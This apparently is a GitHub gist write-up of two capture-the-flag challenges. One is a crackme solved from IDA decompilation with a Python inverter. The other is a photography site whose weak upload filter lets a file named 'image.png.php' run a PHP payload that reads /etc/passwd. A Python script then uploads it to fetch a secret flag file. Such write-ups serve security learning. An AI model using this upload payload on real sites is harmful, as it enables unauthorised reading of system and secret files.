vee1e

vee1e / 9ed8934ce04ed8da88db151b9121b526

Last active 2 hours ago

Like 0
writeup.md Raw

Reverse: Maze Runner

Flag: GITXIITBTL{M4z3_!$_n0t_FuNn}

Decompiling the code in IDA gives us this:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  char v4[32]; // [rsp+10h] [rbp-30h] BYREF
  int v5; // [rsp+30h] [rbp-10h]
  char v6; // [rsp+34h] [rbp-Ch]
  __int16 v7; // [rsp+35h] [rbp-Bh]
  char v8; // [rsp+37h] [rbp-9h]
  char *s; // [rsp+38h] [rbp-8h]

  if ( a1 == 2 )
  {
    s = a2[1];
    if ( strlen(s) == 16 && (unsigned int)sub_40128F(s) )
    {
      v6 = 85;
      v7 = 3138;
      v8 = -9;
      v5 = sub_40123E(s);
      if ( (_BYTE)v5 != 85 || *(_WORD *)((char *)&v5 + 1) != v7 || HIBYTE(v5) != v8 )
        puts("Incorrect.");
      sub_40130F(v4, s + 4);
      if ( (unsigned int)sub_401436(v4) )
      {
        puts("Congratulations! It is correct.");
        puts("Wrap the flag in GITXIITBTL{}, before submitting.");
        return 0LL;
      }
      else
      {
        puts("Incorrect.");
        return 1LL;
      }
    }
    else
    {
      puts("Incorrect.");
      return 1LL;
    }
  }
  else
  {
    printf("Usage: %s <password>\n", *a2);
    return 1LL;
  }
}

The binary expects exactly one command-line argument of length 16.

We can see the two check functions that occur in the binary, sub_40128F and sub_401436.

  • sub_40128F checks for the first 4 chars M4z3
  • sub_40123E checks for XOR 0x99423713 with the last 4 bytes of input.
  • sub_40130F and sub_401436 read the middle 8 bytes and transform each value as $$(13 * val + 7) % 256$$ and compare with the array [218, 180, 219, 218, 157, 119, 235, 218].

Here are the IDA screenshots from my decompilation:

Function sub_40128F

Function sub_40123E

Function sub_40130F

Function sub_401436

Writing a quick script with GPT's help in python gives the flag:

def reverse_check2():

    target = bytes([0x55, 0x42, 0x0c, 0xf7])
    target_int = int.from_bytes(target, 'little')
    v5_orig = target_int ^ 0x99423713
    return v5_orig.to_bytes(4, 'little')

def reverse_check3():
    target = [218, 180, 219, 218, 157, 119, 235, 218]
    result = []
    for v in target:

        for x in range(256):
            if (13 * x + 7) % 256 == v:
                result.append(x)
                break
    return bytes(result)

def solve():
    prefix = b'M4z3'
    middle = reverse_check3()
    suffix = reverse_check2()
    full = prefix + middle + suffix
    print("pass:", full.decode())

if __name__ == "__main__":
    solve()

Running the solve script.

Web: Photography Contest

Flag: GITXIITB{L1f3_Is_A_R4c3}

We're given a site: https://gitieeecsxiitbtl-photography.up.railway.app/. Immediately think of image PHP upload vulnerability when I see the HTML. We're given an upload form with which we can upload an image. But the only checks performed in the code that the file is actually an image is whether it contains a .png or not.

The website

The source HTML

So creating an image named image.png.php with the following payload gives us Local-File-Inclusion:

<?
readfile("../../../etc/passwd");
?>

After some guessing around for what the flag file could be, we end up finding it in ../secrets/flag.

Here's the full solve script:

import requests
import html

host = "https://gitieeecsxiitbtl-photography.up.railway.app"

filename = 'index.png.php'

payload = """
<?

readfile("../secrets/flag");

?>
"""

files = [
    ('image', (filename, payload, 'image/png'))
]

response = requests.post(host, files=files)

if "failed" not in response.text:
    response = requests.get(f"{host}/uploads/{filename}",   files=files)
    print("UPLOAD SUCCESS\n")
    print(html.unescape(response.text))
else:
    print(response.text)
    print(response.headers)
    print(response.status_code)
~/Downloads/web $ python3 solve-photo.py
GITXIITB{L1f3_Is_A_R4c3}